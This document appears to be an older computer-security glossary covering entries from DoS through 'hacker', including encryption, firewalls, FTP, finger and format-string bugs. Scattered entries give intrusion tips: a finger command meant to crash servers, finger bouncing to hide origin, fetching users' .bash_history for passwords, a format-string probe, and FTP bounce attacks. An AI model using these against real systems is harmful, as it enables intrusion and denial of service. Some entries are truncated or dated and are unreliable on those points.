Technique: A lot of programs (clients, servers, loggers) are written with buffer overflow bugs that trust the data returned to them. They trust that all names will be less than 256 characters long, and they trust that all IP addresses will be 4 bytes long. By sending DNS packets that break these rules, you can often break into such systems.
Example: Some classes of DoS are:
Example: Some famous DoS attacks are:
Culture: A common word for DoS is "nuke", which was first popularized by the WinNuke program (a simple ping-of-death expoit script. These days, "nukes" are those DoS exploits that script kiddies in chat rooms use against each other.
See also: SYN flood
Example: Microsoft Windows supports backwards compatible logon mechanisms to support clients from the days of DOS (Disk Operating System) and WfW (Windows for Workgroups). A hacker can setup a server that claims to be one of these older systems. If the hacker can convince clients to connect, they will automatically downgrade their security to a level that can easily be cracked.
Example: GSM cell phones use public-key techniques to establish an encrypted channel. However, such technology is not exportable to certain nations that the developed countries are afraid of (Iran, Iraq, North Korea, etc.). A hacker could therefore setup a base-station that claims to be located in Tehran (instead of the real location outside London). Mobile phones will automatically downgrade themselves and log in, allowing interception with a classic man in the middle attack.
Contrast: Whereas RSA is based upon the mathematical problem of factoring large numbers, DSA is based upon the discrete logarithm problem. DSA generates signatures faster; RSA verifies signatures better.
Contrast: The terms DSA and DSS are essentially the same and are generally used interchangeably. DSS (Digital Signature Standard) is a government document mandating the use of DSA (Digital Signature Algorithm). They are both part of the same FIPS-186 document.
Key point: The DSS specification provides for keys only up to 1024-bits. This is considered "weak" and probably breakable in a few years. Some products (e.g. PGP) allow non-standard larger keys to be generated.
History: The standard was created by NIST with the help
See also: RSA, Diffie-Hellman
Key point: DSL typically uses ATM, a layer-2 cell-switching fabric. The DSL provider typically providers no Internet services, a layer-3 service. Instead, it connects you to an ISP of your choice. The layer-2 ATM service is vulnerable to being hacked. Also, you will see traffic such as broadcasts from your layer-2 neighbors.
Contrast: Traditional modems are end-to-end. Since the connections between COs are 56-kbps, it is impossible to exceed 56-kbps with normal modems. Since DSL only connects to the local CO and then directly to the Internet, it is only limitted by how fast data can be transmitted across the local loop.
Key point: Phreakers often have their own devices to generate the tones for dialing so that they don't have to use the keypad (such as when payphones disable the keypad as part of their defenses). In the old days, this would consist of custom integrated circuits that generated just the right tones. These days computers are used. For example, there are programs for hand-held computers like Palms that generate the needed tones.
Key point: The frequencies generated by the keypad are:
| 1209-Hz | 1336-Hz | 1477-Hz | 1633-Hz | |
|---|---|---|---|---|
| 697-Hz | 1 | ABC 2 | DEF 3 | "A" |
| 770-Hz | GHI 4 | JKL 5 | MNO 6 | "B" |
| 852-Hz | PRS 7 | TUV 8 | WXY 9 | "C" |
| 941-Hz | * | oper 0 | # | "D" |
Point: DTMF tones are used in many other applications these days because of the high-availability of equipment.
Key point: DTMF decoders are often used to record the telephone numbers people call in pen register situations. Your personal computer can be used to record DMTF tones and decode them in software.
Contrast: The word dual-homed could refer to a router, but is usually used to clarify that the system has multiple network connection, but it NOT supposed to provide briding/routing/interconnection services between them. Dual-home systems are a prime target of hackers because when they are subverted, they provide a prime way to compromise networks. Examples:
Key point: Dumpster diving is generally legal, as long as you are not trespassing.
Key point: Data can usually be recovered from "failed" disks, including floppies, hard-dirves, and CD-ROMs. People ofte assume that just because they cannot read the data from the disks that nobody can. The truth is that most such disks thrown by companies into the trash contain interesting data that can easily be read. CD-ROM backups are particularly attractive because they are very sturdy.
[ e-mail | ECB | Echelon | ECPA | EDI | eggdrop | eggies | Electronic Code-Book | ElGamal | Eligible Receiver | elite | elliptic curves | emoticon | encipher | encode | encoding | encrypt | encryption | endian | entropy | escrow | Eternity | Ethernet | ethical-hacking | ethics | EUDDP | exclusive-or | executable | exploit | exploitz ]
Key point: ECB mode is extremely dangerous because it allows messages to be altered. Let's say that a financial transaction always places the dollar value in the same location in the message. An attacker can capture one message and its dollar value, then replace that section of the second message. This is known as a "rewrite-attack" or a "cut-and-paste attack".
Key point: ECB mode is also dangerous because it makes "known-plaintext" attacks easier.
Key Point: During World Word II, the "UKUSA" alliance was formed. This was an agreement between the intelligence organizations of the United States and the United Kingdom to echange certain information dealing with cracking German codes. This alliance has continued to this day, and been expanded to other English speaking countries like Canda, Australia, and New Zealand. The United States has a broad range of "exhange and liason agreements" with many intelligence organizations, even with countries normally thought of as adversaries. For example, the NSA worked with the Communist Chinese to put monitoring stations to spy on the Soviet Union; these stations were then run in a joint manner. The rumors surrounding Echelon vary in how many of these agreements include Echelon-style monitoring.
Point: The playfull thing to do nowadays is to "jam" echelon by sprinkling potential key words in documents such as "plutonium", "bomb", etc.
See also: Carnivore
Controversy: The law was originally promoted by privacy and civil rights origanizations. However, subtle changes that made it into the final version ended up being what privacy advocates called "a wish list for the law enforcement community". Some important privacy problems:
Key point: Reading e-mail exchanged over public systems by anybody other than the sender or recipient is a felony. However, accidental reading of e-mail by a network administrator is allowed.
See also: key recovery, Carnivore, ISC TITLE 18 part 1 chapter 119 sections 2510 and following
History: The word "elite" has long been used in the community, starting with BBSs in the 1980s where it denoted a user who was privileged to read certain files. The word was dramatized in the 1995 movie Hackers, which has put it soundly in the position as the "official" word for top ueberhackers.
Culture: This word finds itself mangled in many variations: eleet, leet, 1337, 31337, etc.
Statistics: Ira Winkler, former analyst at the NSA and now writer, estimates that as of 1999, that there are roughly 500 to 1000 "elite" hackers capable of finding new security holes, and roughly 5000 hackers capable of creating exploit scripts. (He further estimates about 100,000 script kiddies).
Contrast: Script-kiddies are interested in wielding magical powers, but are not interested in how things work. The elite are interested in how things work, and only later realize they have magical powers.
Contrast: An elliptic curve key of roughly 160-bits is equivalent in security to a RSA or DH key of 1024-bits. Elliptic curve systems are dramatically faster than RSA or DH, which makes them useful in smart-card applications that have anemic CPUs. Certicom (the owner of many elliptic curve patents) recommends a public-key size of roughly twice the size of the symmetric-key to provide equivalent security.
Point: While elliptic curves have many advantages (size, speed) over other techniques, they are a lot newer and therefore not trusted.
Examples:
| AFAIK | "As Far As I Know" |
| AFK | "Away From Keyboard", I am not sitting in front of my computer right now, so I won't be able to see messages or respond to them. |
| ATM | "At The Moment", right now, this very instant. |
| BBIAB | I'll "Be Back In A Bit", not as soon as BRB, but sooner than BBIAHOS. |
| BBIAHOS | I'll "Be Back In An Hour Or So" |
| BBL | I'll "Be Back Later", I'm not quite sure, but possibly later on today. |
| BRB | I'll "Be Right Back", probably within a minute or two. This is the most popular acronym for stepping away for a moment. |
| GMTA | "Great Minds Think Alike" |
| IB | "I'm Back" after being AFK. |
| IIRC | "If I Recall Correctly" |
| IMHO | "In My Humble Opinion" |
| IRL (or r/l) | "In Real Life" |
| LOL | I am "Laughing Out Loud" |
| OMG | "Oh My God" |
| ROTFL | I am "Rolling On The Floor Laughing" because what you said was so funny. |
| TIA | "Thanks In Advance" |
| WB | "Welcome Back" after you were AFK. |
| YMMV | "Your Mileage May Vary", what you experience may be different than than mine. |
Point: Some e-mail threats are:
Contrast: Encoding is not encryption. A lot of passwords are sent across the wire encoded (such as HTTP's BASE64 encoded passwords). In essence, they are still clear-text passwords; most password sniffers will still read them from the wire.
Example: The main issue with encoding is how to get binary data sent within a text message. For full binary data, this results in about 40% "expansion" of the file size (i.e. when you e-mail 1-megabyte of data to a fried, this encoding will result in about a 1.4-megabyte message size).
Key point: E-mail clients typical support more encoding methods than content scanners (aka. anti-virus scanners). Therefore, by encoding your e-mail correctly, you can often bypass these.
Key point: A big problem in the security industry is the presences of redunant encoding methods Microsoft's web servers were hacked because of redundant ways of encoding UNICODE characters. TODO
See also: UNICODE
Analogy: Some aliens come down to earth and give you a safe, and a key to the lock. For purposes of this discussion, the aliens use some magic technology that is beyond our human understanding, and that we will never be able to break into the safe. You steal something, put it into the safe, and lock it up with the key. You hide the key. The police arrest you and confiscate the safe. The only way the police will ever recover this stolen object is when you give them the key. Encryption is the same way; it creates an unbreakable box that you can put data in that nobody can ever get back out unless they have the appropriate key.
Controversy: Encryption has massive philosophical implications when put into widespread use. It means that citizens can hide their data from governments (especially repressive ones) and law enforcement (especially when you are committing a crime). This has the potential of making governments more accountable to the populace. It likewise has the potential of making crime easier.
Key point: Encryption tends to be the strongest link in the chain. When encryption is cracked, it is usually through some other weakness like key distribution or weak passwords.
Contrast: Asymmetric encryption uses different keys for encryption and decryption. Since the most useful form of this is one you keep one key private and make the other public, this is better known as public key encryption. In contrast, symmetric encryption uses the same key for both encryption and decryption.
Notes: Some algorithms popular in cryptography are: DES, rc4 Some popular applications that use encryption are: PGP, web browsers. Some protocols that use encryption are: SSL, IPsec
Misconception: The term "endian" refers only to the ordering of bytes within 2-byte, 4-byte, and 8-byte integers. It does not refer to the ordering of bits within a byte, nor does it refer to other ordering issues.
History: The name comes from Swift's story Gulliver's Travels. Lilliput is divided into two warring camps. The "big-endians" believe that eggs should be broken at the larger end in the traditional way. However, the Emperor has decreed that all his subjects should break their eggs on the smaller end. Swift is satirizing the Protestant vs. Catholic conflict in England during his time. In 1980, Danny Cohen published a paper entitled "On Holy Wars and a Plea for Peace" where is draws a parallel between the silly wars over how to crack an egg and the silly wars over the "proper" ordering of bytes in memory. Since that time, people have begun to refer to the alternate byte orderings as "little-endian" and "big-endian". The funny thing is that people who continue to fight this Holy War now use these terms as well, totally unaware of the irony.
Key point: Popular UNIX systems started on Motorola processors and continued with RISC designs that were all big-endian. For this reason, the Internet is based upon big-endian network protocols. This is known as "network byte order". However, the Intel x86 processors which account for 90% of the systems in the world are little-endian. Microsoft Windows has many bugs and anomalies in their TCP/IP stacks due to endian issues that allow their systems to be easily fingerprinted.
Analogy: For example, one company provide software that another company sells imbedded in their hardware. The second company (the OEM) is scared that the first company may go out of business, so requests that the first company put the source code for the software in escrow. Should the first company go out of business, the second company would still be able to sell their product.
Key point: Law enforcement is constantly pushing for key escrow where a third party holds back-door keys to all encryption products. Law enforcement would then be able to obtain these keys with a court order into order to decrypt messages or eavesdrop on communications. They first propose a variant of the two-person rule in order to prevent abuse of the system.
See also: anarchy
Key point: Every Ethernet adapter has a unique 6-byte MAC address. The first 3-byte identify the manufacturer, the second 3-bytes are assigned by the manufacturer. If two adapters have the same MAC address, then communications errors will occur (just as if you named both your kids "George", then they'll be confused as to which one you are talking to). Making the adapter addresses globally unique then assures that they will be locally unique when plugged into the same LAN. However, it has security/privacy implications. A chain of events led to the MAC addresses becoming imbedded into Microsoft Word documents, which helped track down the author of the Melissa virus. Similarly, Network ICE's products scan the intruder with a number of protocols that may reveal the MAC address of an intruder.
Key point: Ethernet was originally designed as a "shared medium", which means that every adapter on the wire sees all traffic. In normal operation, an Ethernet adapter discards all traffic that doesn't contain its MAC address. However, that filter can be turned off, putting the adapter in promiscuous mode. This converts the machine into a sniffer which can eavesdrop on everyone's traffic.
The basic format of an Ethernet frame is:
+--------+--------+--------+--------+--------+--------+ | Destination MAC Address | +--------+--------+--------+--------+--------+--------+ | Source MAC Address | +--------+--------+--------+--------+--------+--------+ | EtherType | +--------+--------+ ... payload (46-bytes to 1500-bytes) ... +--------+--------+--------+--------+ | CRC | +--------+--------+--------+--------+These days, the most common payload is IP which is identified with an EtherType of 0x0800. Note that as soon as the payload leaves the local Ethernet (through a router), the local Ethernet headers are stripped off. Only the payload itself will traverse the Internet; local Ethernet information (like your MAC address) does not. (Hackers may still be able to retrieve your MAC address through NetBIOS or SNMP, though).
Note that the CRC protects against accidental corruption of the frame, but not intentional corruption.
Key point: The general public have the belief that hackers have no ethics. This is not true; they have a different set of ethics. For example, when hackers deface a website, they usually follow their own ethics of not otherwise harming the system and making it easy for the owners of the website to repair the system.
See also: white-hat hacker, hacktivism
Contrast: Newbies often don't understand the difference between executables and normal files. For example, they don't understand the difference between opening an e-mail attachment with a .txt extension vs. a .exe. This misunderstanding comes about because GUIs like Windows and the Macintosh do a very good job at hiding technical details like this from users as to not upset them.
Example: ActiveX, Java, JavaScript, .exe files, programs.
Culture: Exploits are the key to hacker subculture. Hackers gain fame by discovering exploits. Others gain fame by writing scripts for them. Legions of script-kiddies apply the exploit to millions of systems, defacing webpages and gaining (in)fame.
Controversy: There is no good definition for this word. It is debated a lot trying to define exactly what is, and is not, an exploit.
Key point: Since people make the same mistakes over-and-over, exploits for very different systems start to look very much like each other. Most exploits can be classified under major categories: buffer overflow, backtracking, defaults, samples, Denial of Service
Contrast: The words exploit and vulnerability are often used interchangeably. This is because the person who discovers a new vulnerability will usually write an exploit script for it at the same time. Therefore, the vulnerability is often known by the name of the exploit scriptl.
[ factoring | factorization | fail-close | fail-open | fail-safe | false positive | FBI | fiber optics | File and Print Sharing | File Transfer Protocol | FIN | finger | fingerprint | firewall | FISA | flame | Flame-bait | flood | FOIA | forensics | forgery | format-string attacks | Fortezza | fragment | fraud | FTP ]
127 X 131 = nIn contrast, try to find the values of m and n in the following equation using a pen and paper.
m X n = 24289The second equation above is known as factory. It is difficult to not only do by hand, but also by computers.
Key point: Note that in the example above, I use a small number (24289) simply to demonstrate that multiplication is easier than factoring. Somebody sent me e-mail proposing that factoring 24289 is not too difficult, you simply brute-force calculate 24289/n for all n between 1..24289, and the results that are integers are factors. However, in cryptography, the numbers used are actually much larger, and look something like:
6237804950192837659018341982347561398740112837491903875781783635465346657897987894783717848757929837483241243454656677787898908978775756362515414353646768798980798873897890141298374873838929102938578Using the combined computing power of all the world's computers, it would take longer than a billion times the age of the universe to use the simple technique to solve this problem. Actually, longer, but I'm trying to use comprehensible numbers. Remember that if I add a digit to the number I'm trying to factor, it will take ten times longer to compute. For example, the number 242891 takes ten times longer to search through than 24289. Likewise, every nine digits you add to a number causes the search to take a billion times longer. There are several mathematical techniques easier than brute-force factoring, but all of them are hard.
Key point: Currently, it is unknown exactly how difficult factoring numbers is. Today's public-key infrastructure would crumble if someone found an easy to way to factor such numbers.
Feedback: Michiel Brandenburg provided the following tidbit from his reader in RSA cryptography:
An interesting tidbit about the complexity of factorization as in trying to crack (for instance RSA) brute-force like. The fastest factoring algorithm to date (I think) was thought of by Richard Schroepple (undocumented) which can factorize n in approximatly: exp(sqrt(ln(n)*ln(ln(n)))) opperations a simple table: Digits Number of opperation Time** 50 1.4x10^10 3.9 hrs 75 9.0x10^12 104 days 100 2.3x10^15 74 years 200 1.2x10^23 3.8x10^9 years 300 1.5x10^29 4.9x10^15 years 500 1.3x10^39 4.2x10^25 years note (**) this is considering that a computer can handle one opperation per microsecond
Confusion: The terms "fail-open" and "fail-close" are frequently used to mean the opposite of each other. Some people think of a door, which when "open" allows things to pass through. Other people think of an electrical circuit, when "open" stops the flow of current (and conversely, a "closed" circuit passes current). Therefore, use the word "fail-safe" instead in order to avoid confusion.
Analogy: The electrical circuit-breakers in your home are fail-safe switches using this concept. In the case of an electrical fault causing a short, the circuit breaker will blow open, halting the flow of electricity. This prevents a fire from starting.
Analogy: Infrared inrusion sensors in the home have the problem that they frequently trigger on household pets, especially cats. This is a "false positive". Cats have a much higher body temperature than humans, so one way of preventing the false positive is to ignore high temperature signatures. In much the same way, IDSs are often tuned to cut out common false positives.
Controversey: There is a debate over "correct" diagnoses of intrusion attempts that don't succeed. For example, there is a large background-radiation of port scans. Many people do not want the IDS to trigger on them. Likewise, there are many intrusion attempts that cannot succeed, such as Solaris exploits directed against Windows machines. Again, many people do not want the IDS to trigger in this case. Because such scans and attempts are quite common, IDSs tend to be "chatty" -- showing a lot of information that doesn't indicate serious attacks. Those who do want to see such information sometimes call these false-positives, those who do want to see it do not call them false-positives.
Misconception: The FBI isn't the only federal police, others include the Secret Service, BATF (Bureau of Alchohol, Tobacco, and Firearms), DEA (Drug Enforcement Agencey), the INS, IRS, and others.
Contrast: In theory, FBI is not allowed to operate outside the U.S., while other intelligence organizations (CIA, NSA) are not allowed to operate inside the U.S. In recent years, the FBI has been allowed to carry out operations in foreign countries such as Russia and the Sudan.
Point: Eavesdropping on fiber links is not so difficult. Optical taps using special merrors typically use a 90%/10% split: they allow 90% of the signal through, siphoning only 10% of the light off to the eavesdropping equipment. Another technique involves bending the fiber slightly and disolving the insulation/cladding with solvents. This allows secret tapping without being detected. Optical TDM (time domain reflectometers) may be used to detect such taps. [US Patent: 4887879]
Point: Fiber is often used to combat TEMPEST monitoring. However, electromagnetic waves can travel down fiber cables, accidentally leaking information that can be monitored outside a protected environment.
Key point: The problem is that TCP/IP knows no boundaries. When a user tells the system to share files with the rest of the familly, the user is not quite aware that this means the files are shared with the rest of the Internet. This means that anybody, anywhere on the Internet can at any time connect to the machine and read/write files. To see if somebody has accidentally shared their hard-disk, right-hand-mouse-click on "Network Neighborhood" in Windows, select "Find Computer...", then type in that user's IP address.
Key point: File and Print Sharing used the SMB protocol over NetBIOS on TCP port 139.
Example: The following shows the output of the command "finger rob@rh5.robertgraham.com":
Login: rob Name: Robert David Graham Directory: /home/rob Shell: /bin/bash On since Fri Dec 3 18:13 (PST) on ttyp0 from gemini No mail. No Plan
Key point: The finger command reveals extensive information. For example, if I were attacking the above machine, I would notice that the user is running bash Therefore, I may try something like http://rh5.robertgraham.com/~rob/.bash_history against the user, which in about 1% of the cases will give me a history file of recent commands they've entered, which may contain passwords and such.
Key point: There are a number of fun things you can do with finger. The first is that you can use the "finger bounce" technique. Finger servers will often forward requests for you. The command:
finger rob@robertgraham.com@example.comwill query example.com for rob@robertgraham.com. You can use this technique to hide where your are coming from. On some systems, you can do a DoS attack by sending a finger command like:
finger rob@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@robertgraham.comcausing the system to go into a loop trying to resolve this. There are also special names you can finger. An empty name will sometimes list the currently logged on users, or sometimes all users with accounts on a machine. The special names of "0", "*", "**" will sometimes have similar effects.
Key point: One of the key reasons for fingerprinting a system is to search for "old" or "unusual" systems. Non-computer devices like routers, printers, modem banks, etc. are not written to the same level of security standards as real computers. In addition, a hacker may be able to find old SunOS 4 systems which are rife with well-known security flaws.
A firewall acts as a "choke point". Corporations install firewalls between their internal (private) networks and the (public) Internet. All traffic between the corporation and the Internet flows through the firewall. It acts as a "gate" with virtual guards that examines the traffic, and decided whether to allow it or block it.
Misunderstanding: Many people believe that a firewall makes your network immune to hacker penetration. Firewalls have no ability to decide for themselves whether traffic is hostile or benign. Instead, the administrator must program the firewall with rules as to what type of traffic to allow or deny. This is similar to a guard checking badges at a gate: the guard can only detect if the badge is allowed/denied, but cannot detect impersonations or somebody climbing the fence in the back.
Key point: Firewalls are based on the principle of blocking everything by default and only allowing those things that are absolutely necessary.
Key point: Firewall administrators are frequently at odds with their management. Executives are frequently frustrated by things that don't work in the network. They don't understand how difficult it is to secure each new application, or the increased risks involved.
Controversy: A lot of time is wasted on trying to come up with the exact definition of the word "firewall", usually by marketing flaks or nerds with attitude. The term isn't well defined. Most people equate firewalls with packet filters. Others include proxy servers and NATs along with the definition.
Misunderstanding: A common question posed is "what is the best firewall?". People who ask the question mean "what stops hackers the best?". This is based upon the same misunderstanding highlighted above: firewalls isolate you from the Internet in the hopes of reducing exposure to hackers. The best firewall that will protect you best from hackers is therefore to completely isolate yourself from the Internet (i.e. don't use the Internet at all). If you want to use the Internet, then you will have some risk due to hackers that firewalls cannot prevent. For example, if you tell the firewall to accept incoming e-mail, then you are suddenly at risk to hacks against e-mail (either viruses, or attempts to force spam through your server). Therefore, the most secure firewall tends to be the cheapest, such as the basic packet filters built into most routers and operating systems. The more expensive firewalls allow you to secure more applications through the firewall, but the more features that you use, the more applications you expose, and ultimately the more risk you undertake.
Misunderstanding: Some vendors are selling personal firewalls. This is based upon the misconception highlighted above: firewalls do not block hacker traffic, they are instead a (blunt) tool that allows security administrators to reduce risk. Putting packet filters in the hands of end-users doesn't give them the necessary expertise to secure their systems against hackers. There is also the issue that properly configuring a firewall is actually more difficult than hardening a single machine in the first place. It is only worthwhile because one firewall controls access to hundreds/thousands of machines. Putting a single firewall on a single machine isn't really worth the effort.
Point: The Federal Intelligence Surveillance Court (FISC) consists of seven judges who issue these secret orders.
Key point: In February of 1995, President Clinton signed Executive Order 12949 authorizing black-bag operations (secret break-ins) as part of FISA.
Point: There is nothing you can say that won't offend somebody.
Point: Flame-bait is the conscious crafting of messages designed to encourage others to respond with flames. As pig farmers from Kansas say, "Never wrestle with a pig in the mud. You'll lose, and the pig loves it".
See also: netiquette, cyberstalking
Examples:
Key point: FOIA makes sharing information with the government more difficult. Anything you reveal to the government can be retrieved and read by other people. You cannot easily share secrets with the government. For example, under the Government/industry alliance InfraGuard, private organizations are unwilling to share data with the government because of FOIA.
Point: Records FOIA requests themselves can be queried using FOIA. Therefore, you can track down what somebody is interested in by filing a FOIA request for their requests. This is sometimes used by one journalist to discover what another journalist is doing a story on (and "scoop" them). If you are truly paranoid, go through anonymous sources for FOIA requests (e.g. pay the EFF to do it for you).
Point: Anybody can make a FOIA request: citizens, foreigners, organizations, universities, businesses, state/local governments. Foreign governments hostile to U.S. interests (e.g. China) regularly take advantage of FOIA.
Examples:
printf("%02d:%02d:%02d", hours, minutes, seconds);
This will print the time in a format that looks like "09:15:00" (i.e. printf("greetings=%s", "hello");
This prints the output:
greetings=HelloHowever, if you wanted to be lazy, you could simply program the system:
printf("greetings=Hello");
Up to this point, everything is fine. The problem comes about when the string
is read from input:
g = read_input(); printf(g);The programmer is expecting the user to enter normal input such as "Hi". However, the user could enter something like "die %s". This makes the above statement equivalent to:
printf("die %s");
Since there is no following string, this may cause the program to crash. The correct
way that this should have been handled is:
g = read_input();
printf("%s", g);
Printf will treat the first parameter as the format string, but will know not to interpret
any formatting characters in subsequent strings.
Key point: A popular technique to see if a system is possibly vulnerable to format string bugs is to send the input "%x %x %x". If the hacker sees hex output, then they know the system was vulnerable to format string bugs.
Example: Ethernet supports a maximum packet size of 1500 bytes. Therefore, in order to send an IP packet of 2000 bytes, the system must first fragment the packet into two pieces before transmission. The other end will then reassemble them back into a single packet on the other end.
Contrast: The general concept of fragmentation applies to all layers of the protocol stack. For example, ATM has a maximum frame size of 48-bytes, which is too small and inefficient for any purpose if higher layers had to deal with it. Therefore, the ATM adapter itself handles the fragmentation and presents a "virtual" interface that allows a full 64-kilobyte packet to be sent without IP level fragmentation. Conversely, when reading files from a file server, even a 64-kilobyte packet size is too small, so the file server layer automatically requests smaller parts of the file. In some cases, applications will attempt to calculate the MTU (Maximum Transmission Unit) of the connection in order to optimize operations to avoid any IP fragmentation.
Key point: IP fragmentation is slow, and is better handled either below the IP layer (like ATM) or above it (like in the application layer).
Key point: Fragmentation and reassembly is difficult to program right. Therefore, there are many ways to hack this feature. Some attacks are:
Key point: Most network-based intrusion detection systems do not reassemble packets. Therefore, a hacker can use something like fragrouter in order to evade the IDS.
Key point: Fragmentation is almost never needed. Most communication runs over TCP, which does its own segmentation which is more efficient. Therefore, if you see any fragmentation on your network, you should examine it closely to see if it indicates an attack.
Key point: FTP uses an outgoing control connection that only sends commands to the server and receives returned status information. All data is transferred on separate connections (one connection for each file or directory transferred).
Key point: Before the web (and graphical browsers) people used command-line versions of FTP. These are still preferred by hackers, becuase GUIs are often too "noisy" (generating unnecessary commands). Such command-line clients that are still included in virtually all UNIX or Windows systems.
Key point: These separate connections are created by sending a PORT command across the control connection. This command accepts both and IP address as well as port number that tells the other side where to connect. Example: PORT 192,2,0,201,10,1 is the string sent across the control connection to tell the server that the client has opened a port on the machine with the IP address 192.2.0.201 with port 2561. The server will then open up a TCP connection as instructed. This command is sent invisibly when the client requests a directory listing or file; all the client sees of this happening is a status message to the effect 200 PORT command successful. which is sent back across the control connection. A neat hack is to specify somebody else's IP address in this command. This hack is called a bounce attack, and can be used to port scan computers or subvert trust relationships.
Key point: An outgoing connection is used for control, but the data is sent on an incoming connection. Packet filtering firewalls block incoming connections. Therefore, a user will see that they can connect to the FTP server, but directory listings and file transfers don't work.
Key point: In order to solve the incoming connection problem, FTP supports a mode called PASV that forces all connections to be outgoing. Web-browsers like IE and Netscape use PASV mode by default. Command-line FTP clients typically don't support PASV; but people try "quote PASV" commands anyway.
Key point: Lots of FTP servers have buffer overflow exploits in them.
Key point: The control connection is text based, so you can use Telnet or netcat as your client (if you understand the protocol).
Protocol:
|
-> Connection from client to ftp.robertgraham.com:21 <-220 ftp.robertgraham.com Microsoft FTP Service (Version 4.0). ->USER anonymous <-331 Anonymous access allowed, send identity (e-mail name) as password. ->PASS test@robertgraham.com <-230 Anonymous user logged in. ->PORT 192,0,2,123,10,37 <-200 PORT command successful. ->RETR /example.txt <-150 Opening ASCII mode data connection for example.txt(14 bytes). <- Connection from ftp.robertgraham.com:20 to client:2597<-226 Transfer complete. ->QUIT <-221 -> Close connection |
|
-> Connection from client to ftp.robertgraham.com:21 <-220 ftp.robertgraham.com Microsoft FTP Service (Version 4.0). ->USER anonymous <-331 Anonymous access allowed, send identity (e-mail name) as password. ->PASS mozilla@ <-230 Anonymous user logged in. ->PASV <-227 Entering Passive Mode (209,31,36,212,6,123). ->RETR /example.txt -> Connection from client to ftp.robertgraham.com:1659<-125 Data connection already open; Transfer starting. <- File contents<-226 Transfer complete. ->QUIT <-221 -> Close connection |
Example:
[ GLBA | Globally-unique Identifier | Gopher | GPS | grind | grok | GUID ]
Controversy: The primary tool that GLBA provides is where the customer tells the financial institution that they want to "opt-out" of all disclosures, preventing the company from telling anybody else about the customer. Some people want this to be an "opt-in" instead. Other people think that this law is too extreme -- it doesn't give power to the consumer to only partially opt-out. In other words, a consumer can't benefit from partial disclosure.
See also: privacy
Key point: There are still a lot of Gopher servers out there, However, since they are no longer mainstream, they are rarely maintained by security people. Therefore, they often present a way to compromise the network.
Controversy: When recent U.S. laws take effect, the FBI will be able to serve a warrant and find the GPS location of cell-phone users. This will likely be done by getting the GPS coordinates of ground stations, then triangulating for the location of the cell-phone from multiple ground-stations. While this helps emergency services, it also provides the opportunity for abuse by law enforcement to track people.
Controversy: In the year 2001, within the U.S., thousands of portable tracking devices containing GPS and cell-phone units were used to track criminals under house arrest, probation, parole, or some other supervision. Civil libertarians worry that as technology improves, such systems will be increasingly used to track the population.
Contrast: Older ground-based positioning systems include the Loran-C system for ocean navigation around North America, and VOR (VHF Omnidirectional Range) system of ground-based stations guiding airplanes. The Russian GLONASS (GLObal NAvigation Satellite System) is an alternate system of 24 satellites that provides a similar service operational since 1995. Note that GLONASS is also a GPS system; what is generally called GPS is more accurately named as the "NAVSTAR" GPS system. The European Union plans to make their Galileo GPS operational by 2008, providing (in theory) greatar accuracy and QoS.
Key Point: Until May of 2000, the American military fudged the numbers forcing non-military GPS receives to be somewhat inaccurate. One "hack" to get around this was "differential" GPS (DGPS) that compared signals against ground-based stations (and commercial satellites) in order to improve a accuracy to nearly that of military receivers. Combining both the NAVSTAR and Russian GLONASS systems also promises further accuracy. As of 2001, while GPS has a theoretical accuracy within 100-meters, must customers average about 3-meters, with occasional maximum inaccuracies of 10-meters. Many believe that by 2005, it is likely that consumers will be able to purchase systems with accuracy down to 1-meter. The U.S. government enforces "Selective Availability", which means it turns off the GPS over certain countries (like Iraq or Afganistan).
Analogy: If someone steals your bank card, they cannot sit in front of the cash machine and guess all possible PIN numbers. After a certain number of unsuccessful tries, the bank machine will "eat" the card.
Key point: Secure systems (UNIX, Windows NT) lock out accounts after a certain number of unsuccessful tries. These lock-outs can either be temporary (and restore themselves automatically), or permanent until an administrator intervene and unlocks the account.
Key point: Non-secure systems (Win9x and many software applications) do not lock out accounts. For example, if you have Win9x "File and Print Sharing" turned on and protected with a password, a hacker can try continuously and invisibly to gain access to your machine. Nothing is logged, nothing is locked out.
Contrast: When brute-force cracking, the hacker does all the calculations himself (comparing them against the stolen encrypted password file). When doing a grind, the hacker must enter the passwords one by one, and the target system does the calculations to see if they are valid. An intrusion detection system can detect grinds, but not cracks.
Key point: People get confused by the words used to describe thing, often missing the true meaning. Examples:
History: The word comes from the book Stranger in a Strange Land by Robert Heinlein. This was a popular counter-culture book in the 1960s, and is a popular Science Fiction book today.
Key point: One of the precepts of Zen philosophy is that the important concepts of life cannot be described by words, and therefore there exists no written description to the path of enlightenment. Grokking means to understand something at a level beyond what mere words can express.
Key point: There are three levels of understanding, which can be illustrated by looking at a cars engine. At the first level, people look at all the parts and say to themselves "This is unnecessarily complicated, I'm sure there is a way we can remove many of these parts and make it simpler". Probably 99% of the population approaches life in this manner. The second level is an engineer who understands how the engine works, and how the various parts work together in the ingenious fashion that they do. This engineer understands that this the simplest way to produce an engine, and that it has reached this stage after years of being perfected by countless engineers. At the third level is the godlike engineer that understands how to remove one part in order to make the engine even simpler. In this analogy, the engine is the computer. Likewise, the Internet is populated by script-kiddies who are constantly searching for ways to learn about hacking without being bothered by all the unnecessary complexity.
Key point: The failure to grok is often due to failure to understand the correct abstractions. Understanding a thing requires understanding the context in which that thing lives. If one cannot step out of a traditional context in order to regard a thing within the proper context, one cannot grok it. For example, many people have trouble grok the layering of network protocol because the only can only see what the protocols due for them, not what the protocols due in general. Therefore, when they look at protocols, all they see is large amounts of inscrutable unnecessary complexity.
Key point: Microsoft got in trouble in 1999 for automatically shipping up the GUIDs as part of its registration process.
Key point: GUIDs are sometimes placed within hidden fields within Microsoft documents (Word, Excel), allowing the original author to be identified. This was used in order to help track down the author of the "Melissa" worm.
Key point: The GUID is generated from other "unique" information on a machine, such as the MAC address of the Ethernet adapter. It isn't guaranteed to be absolutely unique, but chances of any two GUIDs in the world being identical are remote.
[ H/P/V/C/A | hacker | hacking | hacktivism | handle | harden | hash | hex | hexadecimal | hexdumps | HHGTTG | hijack | HIPAA | hives | HKEY_CLASSES_ROOT | HKEY_CURRENT_CONFIG | HKEY_CURRENT_USER | HKEY_DYN_DATA | HKEY_LOCALMACHINE | HKEY_USERS | HMAC | honeypot | hook | HOST | host-based | HTTP ]
Consider Arthur C. Clark's Third Law: "Any sufficiently advanced technology is indistinguishable from magic". Since normal people have no clue as to how computers work, they often view hackers with suspicion and awe (as magicians, sorcerers, witches, and warlocks). This suspicion leads to the word "hacker" having the connotation of someone up to no good.
